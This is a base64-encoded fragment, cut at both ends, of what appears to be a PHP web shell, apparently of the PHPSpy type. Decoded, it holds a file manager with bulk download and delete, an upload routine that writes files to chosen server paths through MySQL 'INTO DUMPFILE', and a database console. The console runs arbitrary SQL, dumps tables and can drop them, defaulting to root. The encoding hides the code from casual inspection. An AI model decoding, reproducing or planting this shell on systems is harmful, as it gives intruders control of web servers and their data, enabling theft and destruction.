nJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPlRpbWU8L2E+Jyk7DQoNCgkJCXAoJzwvdGQ+PC90cj4nKTsNCg0KCQkJJGZpbGVfaSsrOw0KDQoJCX0NCg0KCX0NCg0KCXAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBhbGlnbj0iY2VudGVyIj48aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIiAvPjwvdGQ+PHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bnJhclwnKTsiPlBhY2tpbmcgZG93bmxvYWQgc2VsZWN0ZWQ8L2E+IC0gPGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxmaWxlc1wnKTsiPkRlbGV0ZSBzZWxlY3RlZDwvYT48L3RkPjx0ZCBjb2xzcGFuPSI0IiBhbGlnbj0icmlnaHQiPicuJGRpcl9pLicgZGlyZWN0b3JpZXMgLyAnLiRmaWxlX2kuJyBmaWxlczwvdGQ+PC90cj4nKTsNCg0KCXAoJzwvZm9ybT48L3RhYmxlPicpOw0KDQp9Ly8gZW5kIGRpcg0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdzcWxmaWxlJykgew0KDQoJaWYoJGRvaW5nPT0ibXlzcWx1cGxvYWQiKXsNCg0KCQkkZmlsZSA9ICRfRklMRVNbJ3VwbG9hZGZpbGUnXTsNCg0KCQkkZmlsZW5hbWUgPSAkZmlsZVsndG1wX25hbWUnXTsNCg0KCQlpZiAoZmlsZV9leGlzdHMoJHNhdmVwYXRoKSkgew0KDQoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsNCg0KCQl9IGVsc2Ugew0KDQoJCQlpZighJGZpbGVuYW1lKSB7DQoNCgkJCQltKCdQbGVhc2UgY2hvb3NlIGEgZmlsZScpOw0KDQoJCQl9IGVsc2Ugew0KDQoJCQkJJGZwPUBmb3BlbigkZmlsZW5hbWUsJ3InKTsNCg0KCQkJCSRjb250ZW50cz1AZnJlYWQoJGZwLCBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsNCg0KCQkJCUBmY2xvc2UoJGZwKTsNCg0KCQkJCSRjb250ZW50cyA9IGJpbjJoZXgoJGNvbnRlbnRzKTsNCg0KCQkJCWlmKCEkdXBuYW1lKSAkdXBuYW1lID0gJGZpbGVbJ25hbWUnXTsNCg0KCQkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KDQoJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAweHskY29udGVudHN9IEZST00gbXlzcWwudXNlciBJTlRPIERVTVBGSUxFICckc2F2ZXBhdGgnOyIpOw0KDQoJCQkJbSgkcmVzdWx0ID8gJ1VwbG9hZCBzdWNjZXNzJyA6ICdVcGxvYWQgaGFzIGZhaWxlZDogJy5teXNxbF9lcnJvcigpKTsNCg0KCQkJfQ0KDQoJCX0NCg0KCX0NCg0KPz4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KDQpmdW5jdGlvbiBteXNxbGZpbGUoZG9pbmcpew0KDQoJaWYoIWRvaW5nKSByZXR1cm47DQoNCgkkKCdkb2luZycpLnZhbHVlPWRvaW5nOw0KDQoJJCgnbXlzcWxmaWxlJykuZGJob3N0LnZhbHVlPSQoJ2RiaW5mbycpLmRiaG9zdC52YWx1ZTsNCg0KCSQoJ215c3FsZmlsZScpLmRicG9ydC52YWx1ZT0kKCdkYmluZm8nKS5kYnBvcnQudmFsdWU7DQoNCgkkKCdteXNxbGZpbGUnKS5kYnVzZXIudmFsdWU9JCgnZGJpbmZvJykuZGJ1c2VyLnZhbHVlOw0KDQoJJCgnbXlzcWxmaWxlJykuZGJwYXNzLnZhbHVlPSQoJ2RiaW5mbycpLmRicGFzcy52YWx1ZTsNCg0KCSQoJ215c3FsZmlsZScpLmRibmFtZS52YWx1ZT0kKCdkYmluZm8nKS5kYm5hbWUudmFsdWU7DQoNCgkkKCdteXNxbGZpbGUnKS5jaGFyc2V0LnZhbHVlPSQoJ2RiaW5mbycpLmNoYXJzZXQudmFsdWU7DQoNCgkkKCdteXNxbGZpbGUnKS5zdWJtaXQoKTsNCg0KfQ0KDQo8L3NjcmlwdD4NCg0KPD9waHANCg0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCg0KCSEkZGJ1c2VyICYmICRkYnVzZXIgPSAncm9vdCc7DQoNCgkhJGRicG9ydCAmJiAkZGJwb3J0ID0gJzMzMDYnOw0KDQoJJGNoYXJzZXRzID0gYXJyYXkoJyc9PidEZWZhdWx0JywnZ2JrJz0+J0dCSycsICdiaWc1Jz0+J0JpZzUnLCAndXRmOCc9PidVVEYtOCcsICdsYXRpbjEnPT4nTGF0aW4xJyk7DQoNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgSW5mb3JtYXRpb24nLCduYW1lJz0+J2RiaW5mbycpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxmaWxlJyk7DQoNCglwKCc8cD4nKTsNCg0KCXAoJ0RCSG9zdDonKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOw0KDQoJcCgnOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicG9ydCcsJ3NpemUnPT40LCd2YWx1ZSc9PiRkYnBvcnQpKTsNCg0KCXAoJ0RCVXNlcjonKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOw0KDQoJcCgnREJQYXNzOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7DQoNCglwKCdEQk5hbWU6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJuYW1lJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYm5hbWUpKTsNCg0KCXAoJ0RCQ2hhcnNldDonKTsNCg0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KDQoJcCgnPC9wPicpOw0KDQoJZm9ybWZvb3QoKTsNCg0KCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9Im15c3FsZmlsZSIgaWQ9Im15c3FsZmlsZSI+Jyk7DQoNCglwKCc8aDI+VXBsb2FkIGZpbGU8L2gyPicpOw0KDQoJcCgnPHA+PGI+VGhpcyBvcGVyYXRpb24gdGhlIERCIHVzZXIgbXVzdCBoYXMgRklMRSBwcml2aWxlZ2U8L2I+PC9wPicpOw0KDQoJcCgnPHA+U2F2ZSBwYXRoKGZ1bGxwYXRoKTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ic2F2ZXBhdGgiIHNpemU9IjQ1IiB0eXBlPSJ0ZXh0IiAvPiBDaG9vc2UgYSBmaWxlOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB0eXBlPSJmaWxlIiAvPiA8YSBocmVmPSJqYXZhc2NyaXB0Om15c3FsZmlsZShcJ215c3FsdXBsb2FkXCcpOyI+VXBsb2FkPC9hPjwvcD4nKTsNCg0KCXAoJzxoMj5Eb3dubG9hZCBmaWxlPC9oMj4nKTsNCg0KCXAoJzxwPkZpbGU6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9Im15c3FsZGxmaWxlIiBzaXplPSIxMTUiIHR5cGU9InRleHQiIC8+IDxhIGhyZWY9ImphdmFzY3JpcHQ6bXlzcWxmaWxlKFwnbXlzcWxkb3duXCcpOyI+RG93bmxvYWQ8L2E+PC9wPicpOw0KDQoJbWFrZWhpZGUoJ2RiaG9zdCcpOw0KDQoJbWFrZWhpZGUoJ2RicG9ydCcpOw0KDQoJbWFrZWhpZGUoJ2RidXNlcicpOw0KDQoJbWFrZWhpZGUoJ2RicGFzcycpOw0KDQoJbWFrZWhpZGUoJ2RibmFtZScpOw0KDQoJbWFrZWhpZGUoJ2NoYXJzZXQnKTsNCg0KCW1ha2VoaWRlKCdkb2luZycpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsNCg0KCXAoJzwvZm9ybT4nKTsNCg0KfQ0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdzcWxhZG1pbicpIHsNCg0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCg0KCSEkZGJ1c2VyICYmICRkYnVzZXIgPSAncm9vdCc7DQoNCgkhJGRicG9ydCAmJiAkZGJwb3J0ID0gJzMzMDYnOw0KDQoJJGRiZm9ybSA9ICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iY29ubmVjdCIgbmFtZT0iY29ubmVjdCIgdmFsdWU9IjEiIC8+JzsNCg0KCWlmKGlzc2V0KCRkYmhvc3QpKXsNCg0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJob3N0XCIgbmFtZT1cImRiaG9zdFwiIHZhbHVlPVwiJGRiaG9zdFwiIC8+XG4iOw0KDQoJfQ0KDQoJaWYoaXNzZXQoJGRidXNlcikpIHsNCg0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJ1c2VyXCIgbmFtZT1cImRidXNlclwiIHZhbHVlPVwiJGRidXNlclwiIC8+XG4iOw0KDQoJfQ0KDQoJaWYoaXNzZXQoJGRicGFzcykpIHsNCg0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJwYXNzXCIgbmFtZT1cImRicGFzc1wiIHZhbHVlPVwiJGRicGFzc1wiIC8+XG4iOw0KDQoJfQ0KDQoJaWYoaXNzZXQoJGRicG9ydCkpIHsNCg0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJwb3J0XCIgbmFtZT1cImRicG9ydFwiIHZhbHVlPVwiJGRicG9ydFwiIC8+XG4iOw0KDQoJfQ0KDQoJaWYoaXNzZXQoJGRibmFtZSkpIHsNCg0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJuYW1lXCIgbmFtZT1cImRibmFtZVwiIHZhbHVlPVwiJGRibmFtZVwiIC8+XG4iOw0KDQoJfQ0KDQoJaWYoaXNzZXQoJGNoYXJzZXQpKSB7DQoNCgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImNoYXJzZXRcIiBuYW1lPVwiY2hhcnNldFwiIHZhbHVlPVwiJGNoYXJzZXRcIiAvPlxuIjsNCg0KCX0NCg0KDQoNCglpZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgJHNhdmVhc2ZpbGUpIHsNCg0KCQlpZiAoISR0YWJsZSkgew0KDQoJCQltKCdQbGVhc2UgY2hvb3NlIHRoZSB0YWJsZScpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KDQoJCQkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7DQoNCgkJCSRmcCA9IEBmb3BlbigkcGF0aCwndycpOw0KDQoJCQlpZiAoJGZwKSB7DQoNCgkJCQkkcmVzdWx0ID0gcSgnU0hPVyB0YWJsZXMnKTsNCg0KCQkJCWlmICghJHJlc3VsdCkgcCgnPGgyPicubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsNCg0KCQkJCSRteXNxbGRhdGEgPSAnJzsNCg0KCQkJCXdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCg0KCQkJCQlpZiAoaXNzZXQoJHRhYmxlWyRjdXJyb3dbMF1dKSkgew0KDQoJCQkJCQlzcWxkdW1wdGFibGUoJGN1cnJvd1swXSwgJGZwKTsNCg0KCQkJCQl9DQoNCgkJCQl9DQoNCgkJCQlmY2xvc2UoJGZwKTsNCg0KCQkJCSRmaWxldXJsID0gc3RyX3JlcGxhY2UoU0FfUk9PVCwnJywkcGF0aCk7DQoNCgkJCQltKCdEYXRhYmFzZSBoYXMgc3VjY2VzcyBiYWNrdXAgdG8gPGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kcGF0aC4nPC9hPicpOw0KDQoJCQkJbXlzcWxfY2xvc2UoKTsNCg0KCQkJfSBlbHNlIHsNCg0KCQkJCW0oJ0JhY2t1cCBmYWlsZWQnKTsNCg0KCQkJfQ0KDQoJCX0NCg0KCX0NCg0KCWlmICgkaW5zZXJ0ICYmICRpbnNlcnRzcWwpIHsNCg0KCQkka2V5c3RyID0gJHZhbHN0ciA9ICR0bXAgPSAnJzsNCg0KCQlmb3JlYWNoKCRpbnNlcnRzcWwgYXMgJGtleSA9PiAkdmFsKSB7DQoNCgkJCWlmICgkdmFsKSB7DQoNCgkJCQkka2V5c3RyIC49ICR0bXAuJGtleTsNCg0KCQkJCSR2YWxzdHIgLj0gJHRtcC4iJyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7DQoNCgkJCQkkdG1wID0gJywnOw0KDQoJCQl9DQoNCgkJfQ0KDQoJCWlmICgka2V5c3RyICYmICR2YWxzdHIpIHsNCg0KCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoNCgkJCW0ocSgiSU5TRVJUIElOVE8gJHRhYmxlbmFtZSAoJGtleXN0cikgVkFMVUVTICgkdmFsc3RyKSIpID8gJ0luc2VydCBuZXcgcmVjb3JkIG9mIHN1Y2Nlc3MnIDogbXlzcWxfZXJyb3IoKSk7DQoNCgkJfQ0KDQoJfQ0KDQoJaWYgKCR1cGRhdGUgJiYgJGluc2VydHNxbCAmJiAkYmFzZTY0KSB7DQoNCgkJJHZhbHN0ciA9ICR0bXAgPSAnJzsNCg0KCQlmb3JlYWNoKCRpbnNlcnRzcWwgYXMgJGtleSA9PiAkdmFsKSB7DQoNCgkJCSR2YWxzdHIgLj0gJHRtcC4ka2V5LiI9JyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7DQoNCgkJCSR0bXAgPSAnLCc7DQoNCgkJfQ0KDQoJCWlmICgkdmFsc3RyKSB7DQoNCgkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KDQoJCQltKHEoIlVQREFURSAkdGFibGVuYW1lIFNFVCAkdmFsc3RyIFdIRVJFICR3aGVyZSBMSU1JVCAxIikgPyAnUmVjb3JkIHVwZGF0aW5nJyA6IG15c3FsX2Vycm9yKCkpOw0KDQoJCX0NCg0KCX0NCg0KCWlmICgkZG9pbmcgPT0gJ2RlbCcgJiYgJGJhc2U2NCkgew0KDQoJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoNCgkJJGRlbGV0ZV9zcWwgPSAiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiOw0KDQoJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KDQoJCW0ocSgiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiKSA/ICdEZWxldGlvbiByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCg0KCX0NCg0KDQoNCglpZiAoJHRhYmxlbmFtZSAmJiAkZG9pbmcgPT0gJ2Ryb3AnKSB7DQoNCgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoNCgkJaWYgKHEoIkRST1AgVEFCTEUgJHRhYmxlbmFtZSIpKSB7DQoNCgkJCW0oJ0Ryb3AgdGFibGUgb2Ygc3VjY2VzcycpOw0KDQoJCQkkdGFibGVuYW1lID0gJyc7DQoNCgkJfSBlbHNlIHsNCg0KCQkJbShteXNxbF9lcnJvcigpKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJJGNoYXJzZXRzID0gYXJyYXkoJyc9PidEZWZhdWx0JywnZ2JrJz0+J0dCSycsICdiaWc1Jz0+J0JpZzUnLCAndXRmOCc9PidVVEYtOCcsICdsYXRpbjEnPT4nTGF0aW4xJyk7DQoNCg0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIE1hbmFnZXInKSk7DQoNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCg0KCXAoJzxwPicpOw0KDQoJcCgnREJIb3N0OicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7DQoNCglwKCc6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOw0KDQoJcCgnREJVc2VyOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RidXNlcicsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7DQoNCglwKCdEQlBhc3M6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsNCg0KCXAoJ0RCQ2hhcnNldDonKTsNCg0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2Nvbm5lY3QnLCd2YWx1ZSc9PidDb25uZWN0JywndHlwZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcpKTsNCg0KCXAoJzwvcD4nKTsNCg0KCWZvcm1mb290KCk7DQoNCj8+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCg0KZnVuY3Rpb24gZWRpdHJlY29yZChhY3Rpb24sIGJhc2U2NCwgdGFibGVuYW1lKXsNCg0KCWlmIChhY3Rpb24gPT0gJ2RlbCcpIHsJCQ0KDQoJCWlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOw0KDQoJfQ0KDQoJJCgncmVjb3JkbGlzdCcpLmRvaW5nLnZhbHVlPWFjdGlvbjsNCg0KCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0Ow0KDQoJJCgncmVjb3JkbGlzdCcpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7DQoNCgkkKCdyZWNvcmRsaXN0Jykuc3VibWl0KCk7DQoNCn0NCg0KZnVuY3Rpb24gbW9kZGJuYW1lKGRibmFtZSkgew0KDQoJaWYoIWRibmFtZSkgcmV0dXJuOw0KDQoJJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsNCg0KCSQoJ3NldGRibmFtZScpLnN1Ym1pdCgpOw0KDQp9DQoNCmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7DQoNCglpZighdGFibGVuYW1lKSByZXR1cm47DQoNCglpZiAoZG9pbmcpIHsNCg0KCQkkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOw0KDQoJfQ0KDQoJaWYgKHBhZ2UpIHsNCg0KCQkkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsNCg0KCX0NCg0KCSQoJ3NldHRhYmxlJykudGFibGVuYW1lLnZhbHVlPXRhYmxlbmFtZTsNCg0KCSQoJ3NldHRhYmxlJykuc3VibWl0KCk7DQoNCn0NCg0KPC9zY3JpcHQ+DQoNCjw/cGhwDQoNCgkvLz8/Pz8NCg0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlY29yZGxpc3QnKSk7DQoNCgltYWtlaGlkZSgnZG9pbmcnKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KDQoJbWFrZWhpZGUoJ2Jhc2U2NCcpOw0KDQoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOw0KDQoJcCgkZGJmb3JtKTsNCg0KCWZvcm1mb290KCk7DQoNCg0KDQoJLy8/Pz8/Pw0KDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0ZGJuYW1lJykpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoNCglwKCRkYmZvcm0pOw0KDQoJaWYgKCEkZGJuYW1lKSB7DQoNCgkJbWFrZWhpZGUoJ2RibmFtZScpOw0KDQoJfQ0KDQoJZm9ybWZvb3QoKTsNCg0KDQoNCgkvLz8/Pw0KDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0dGFibGUnKSk7DQoNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCg0KCXAoJGRiZm9ybSk7DQoNCgltYWtlaGlkZSgndGFibGVuYW1lJyk7DQoNCgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOw0KDQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoNCglmb3JtZm9vdCgpOw0KDQoNCg0KCSRjYWNoZXRhYmxlcyA9IGFycmF5KCk7CQ0KDQoJJHBhZ2VudW0gPSAzMDsNCg0KCSRwYWdlID0gaW50dmFsKCRwYWdlKTsNCg0KCWlmKCRwYWdlKSB7DQoNCgkJJHN0YXJ0X2xpbWl0ID0gKCRwYWdlIC0gMSkgKiAkcGFnZW51bTsNCg0KCX0gZWxzZSB7DQoNCgkJJHN0YXJ0X2xpbWl0ID0gMDsNCg0KCQkkcGFnZSA9IDE7DQoNCgl9DQoNCglpZiAoaXNzZXQoJGRiaG9zdCkgJiYgaXNzZXQoJGRidXNlcikgJiYgaXNzZXQoJGRicGFzcykgJiYgaXNzZXQoJGNvbm5lY3QpKSB7DQoNCgkJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCg0KCQkvLz8/Pz8/Pz8NCg0KCQkkbXlzcWx2ZXIgPSBteXNxbF9nZXRfc2VydmVyX2luZm8oKTsNCg0KCQlwKCc8cD5NeVNRTCAnLiRteXNxbHZlci4nIHJ1bm5pbmcgaW4gJy4kZGJob3N0LicgYXMgJy4kZGJ1c2VyLidAJy4kZGJob3N0Lic8L3A+Jyk7DQoNCgkJJGhpZ2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOw0KDQoNCg0KCQkvLz8/Pz8/DQoNCgkJJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsNCg0KCQkkZGJzID0gYXJyYXkoKTsNCg0KCQkkZGJzW10gPSAnLS0gU2VsZWN0IGEgZGF0YWJhc2UgLS0nOw0KDQoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCg0KCQkJJGRic1skZGJbJ0RhdGFiYXNlJ11dID0gJGRiWydEYXRhYmFzZSddOw0KDQoJCX0NCg0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidQbGVhc2Ugc2VsZWN0IGEgZGF0YWJhc2U6JywnbmFtZSc9PidkYltdJywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsNCg0KCQkkdGFibGVkYiA9IGFycmF5KCk7DQoNCgkJaWYgKCRkYm5hbWUpIHsNCg0KCQkJcCgnPHA+Jyk7DQoNCgkJCXAoJ0N1cnJlbnQgZGFiYWJhc2U6IDxhIGhyZWY9ImphdmFzY3JpcHQ6bW9kZGJuYW1lKFwnJy4kZGJuYW1lLidcJyk7Ij4nLiRkYm5hbWUuJzwvYT4nKTsNCg0KCQkJaWYgKCR0YWJsZW5hbWUpIHsNCg0KCQkJCXAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsNCg0KCQkJfQ0KDQoJCQlwKCc8L3A+Jyk7DQoNCgkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCg0KDQoNCgkJCSRnZXRudW1zcWwgPSAnJzsNCg0KCQkJJHJ1bnF1ZXJ5ID0gMDsNCg0KCQkJaWYgKCRzcWxfcXVlcnkpIHsNCg0KCQkJCSRydW5xdWVyeSA9IDE7DQoNCgkJCX0NCg0KCQkJJGFsbG93ZWRpdCA9IDA7DQoNCgkJCWlmICgkdGFibGVuYW1lICYmICEkc3FsX3F1ZXJ5KSB7DQoNCgkJCQkkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7DQoNCgkJCQkkZ2V0bnVtc3FsID0gJHNxbF9xdWVyeTsNCg0KCQkJCSRzcWxfcXVlcnkgPSAkc3FsX3F1ZXJ5LiIgTElNSVQgJHN0YXJ0X2xpbWl0LCAkcGFnZW51bSI7DQoNCgkJCQkkYWxsb3dlZGl0ID0gMTsNCg0KCQkJfQ0KDQoJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsNCg0KCQkJcCgnPHA+PHRhYmxlIHdpZHRoPSIyMDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkIGNvbHNwYW49IjIiPlJ1biBTUUwgcXVlcnkvcXVlcmllcyBvbiBkYXRhYmFzZSAnLiRkYm5hbWUuJzo8L3RkPjwvdHI+PHRyPjx0ZD48dGV4dGFyZWEgbmFtZT0ic3FsX3F1ZXJ5IiBjbGFzcz0iYXJlYSIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDo1MHB4O292ZXJmbG93OmF1dG87Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSxFTlRfUVVPVEVTKS4nPC90ZXh0YXJlYT48L3RkPjx0ZCBzdHlsZT0icGFkZGluZzowIDVweDsiPjxpbnB1dCBjbGFzcz0iYnQiIHN0eWxlPSJoZWlnaHQ6NTBweDsiIG5hbWU9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiIC8+PC90ZD48L3RyPjwvdGFibGU+PC9wPicpOw0KDQoJCQltYWtlaGlkZSgndGFibGVuYW1lJywgJHRhYmxlbmFtZSk7DQoNCgkJCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KDQoJCQlwKCRkYmZvcm0pOw0KDQoJCQlwKCc8L2Zvcm0+Jyk7DQoNCgkJCWlmICgkdGFibGVuYW1lIHx8ICgkcnVucXVlcnkgJiYgJHNxbF9xdWVyeSkpIHsNCg0KCQkJCWlmICgkZG9pbmcgPT0gJ3N0cnVjdHVyZScpIHsNCg0KCQkJCQkkcmVzdWx0ID0gcSgiU0hPVyBDT0xVTU5TIEZST00gJHRhYmxlbmFtZSIpOw0KDQoJCQkJCSRyb3dkYiA9IGFycmF5KCk7DQoNCgkJCQkJd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoNCgkJCQkJCSRyb3dkYltdID0gJHJvdzsNC